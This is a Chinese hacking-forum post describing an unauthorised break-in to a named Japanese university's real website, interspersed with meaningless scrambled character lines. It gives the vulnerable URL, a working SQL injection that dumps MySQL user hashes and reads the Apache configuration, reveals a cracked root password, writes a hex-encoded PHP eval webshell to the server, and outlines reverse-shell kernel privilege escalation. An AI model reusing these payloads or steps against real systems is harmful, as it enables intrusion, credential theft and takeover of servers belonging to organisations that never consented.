中国网络渗透测试联盟
标题:
入侵日本同志社大学
[打印本页]
作者:
admin
时间:
2012-11-21 13:48
标题:
入侵日本同志社大学
入侵日本同志社大学技术分析
& Q m1 A, F5 i5 Z: o* d0 S
- L: H3 L: S+ h! A
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
5 ?- Y( t) V1 q8 V
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
, ^. z/ o# M* z+ O$ V0 ^( `+ L
% j* c9 ` h; X0 D. d- b* I4 R
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1
,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
6 M& ^ Z6 \$ E1 P0 E8 \
; Z$ U( E. h# L, ^- Q
6 R% w, F3 U( G, h9 k! o
4 z' G- ?/ s, k$ r/ z8 C. Z; Y
//@@datadir为数据库文件路径
; ?$ v: H- C" e
5 O5 a$ n* d: @% J
" M/ l; d$ W# e& }6 J: B
//load_file读取网站容器apache的配置文件
3 v$ r( r/ d7 Y
) H" F9 c4 F7 J% ]# G" z- _# X
$ B& o) T u8 @* J" _
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
@" F* m# H5 u0 ~0 q8 }
复制代码
' x0 Q( R2 ~ u# `# q% P
; W8 h6 X. I: D9 x6 s
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
) z% f% A3 r; |! f
: v6 H- ^6 k3 X9 b4 ~/ d
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
; a8 j; @4 M7 _* Z, U2 P* M
(大家对以上各种查和语句不太懂的可以参考以下文章:
http://bbs.blackbap.org/thread-2243-1-1.html
)
U; F( K! S; H9 s2 t) T; n. p2 G; i
; Z" @ L3 {9 l4 h8 v
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
2 k* g& ~0 l. O, o0 p5 d
如果知道怎么猜apache配置文件的路径的请参考以下文章:
http://bbs.blackbap.org/thread-2242-1-1.html
m8 _1 W b) \7 h6 K- G( c
8 q4 r4 e/ v5 O# f
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
% \0 Z# a) V/ a- |8 h
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
# i7 ?, e8 e& R
直接写一句话:
; b% }/ V: }5 }. e2 g
; n* b5 M* l. H; a6 D
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+
0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
7 w _, l) `+ y: Q0 ]
. \, m0 ]/ p% ]" ]# c
" Q/ o9 c" A' ?9 f3 C
) V; O6 U& c4 R; R1 P2 m
//最后的#是为了闭合前面的语句
% c0 E5 D! l6 K: v4 S& x
. c P. O2 |$ ^2 j
5 f9 D4 q. K5 `$ k
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
+ o( f# f1 t9 T% E
7 r& }7 G2 d. {
. y) E$ V) t, P" a7 t `
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
5 y6 l& s& C7 A h' ^
5 L7 ]( N2 S4 \( Y
8 V! l% e- B8 }8 g: `
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
, e5 u) m5 N2 P; n$ S, r) d1 g7 c
9 h% e$ p8 K) ^, n) P) [% j7 g
. l, I& Y( X! O
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
% i% k- R' O9 w' F/ M% | ]; B/ h9 f
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
% Q7 o1 i r$ K0 e9 I( g5 h
复制代码
% ~- s! \9 G( j
: ]: w) F- a8 U# p
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
7 R: X. _$ @5 p! t" p' g) Q7 r
通过上述注入语句,我们就得到了一句话木马:
7 O0 s2 I6 X- ~
$ k6 [+ R. Y3 d; J% e
9 k& I9 z+ |. l1 u- F' Q
+ g ]0 U' y8 W4 V& B
9 X9 o3 e' `* q- b
* l* y/ {. N; J
http://www.doshisha.ac.jp/english/engnews_img/aa.php
: K# E% h( D8 N7 Q% h
复制代码
6 [7 I4 L' e1 f! I
0 M2 v! g% B2 t k. z' D+ Z/ A4 F
用菜刀连接,密码是cmd,如图所示:
+ B: {2 p# n1 v% |. e/ ~% g
然后在命令提示行里看了一下,现在的权限是:
8 q) k5 M8 D9 l: m/ E1 y
- C b3 L: p) ~% W g! g
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
! Y4 V0 _1 D6 l( N
好在赋权给这个文件夹不需要root,直接执行赋权语句:
; e+ |5 t7 u u: q: O
6 X: ]$ J4 i" l, v
( x( b8 P0 w' k- E1 K! Y
" R2 x- q& k% y1 D
7 \1 H5 q! a: _# t* {0 k; ^
' q- {; n; q1 n# ~
chmod +x /tmp/
$ ~5 W6 z- Y9 `! [5 E1 A8 F
复制代码
^7 s2 z; d& U9 u7 W0 ]
. V7 B3 H6 T1 B
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
h9 T5 I. f8 e6 Q+ g& Z$ C8 G
然后就查了一下内核版本:
' A9 g, F7 n* N, k+ ]! u Q1 u
. e# P1 d0 c6 g# i2 N
* b: J( n1 ~4 L5 G7 M0 }( h9 T( O5 [
8 \* Y! G& X" L/ \. e, Z
/ N! }9 L4 V: Q6 ]
; s+ ^2 z; C( w
uname-a
. Y, _0 R0 L8 J6 ?/ @& `7 ] d
- a* ~0 z) F; d$ Y( x- y8 w$ r/ L
0 t( m1 F. A0 V" J$ f5 m& A; X
//其实lsb_release -a
9 L: B7 G3 }; Y" M: q5 J ], D
复制代码
6 A8 z) B9 {* q; s" r( Q o, `
4 }9 M, m) Z* O' X; y5 S2 t5 X( A4 a4 B
如图所示:
k! }8 r# y8 h3 Q
( c- v% V; z& @1 T
内核版本:linux mainz1 2.6.28-194.e15
+ b n. j1 k% b5 K" `
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
3 p. k1 Q5 e7 `+ K/ o! Y& D
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
6 Q: z3 D* x' K! V+ P, u
_4 {$ K! g! m8 Q
然后给予执行权限
! H7 s3 Z3 m' I9 @
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
) j' A# J2 v5 q4 f0 X
4 G1 ?/ `( L' v
3 `6 A$ k# p! h+ b2 D
9 y; h( @9 u# W2 R u
+ _" I3 y { n Z9 A: K4 m, W3 u3 O- @
+ q) w. O5 K- ?# O8 S
chmod +x /tmp/2.6.18-194
6 J$ j+ Y$ o& }- G$ m7 m
复制代码 然后直接执行!~
6 q4 \- |% X1 X; a
7 \1 x0 U% F6 f) x# F# F
总结:
' B4 A. a1 Y1 z8 h
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
0 Q5 ]% \* ?' H8 I4 m
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
5 p+ | E' n- ]
* e1 ]* ]' T+ j! \: j4 u0 M
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2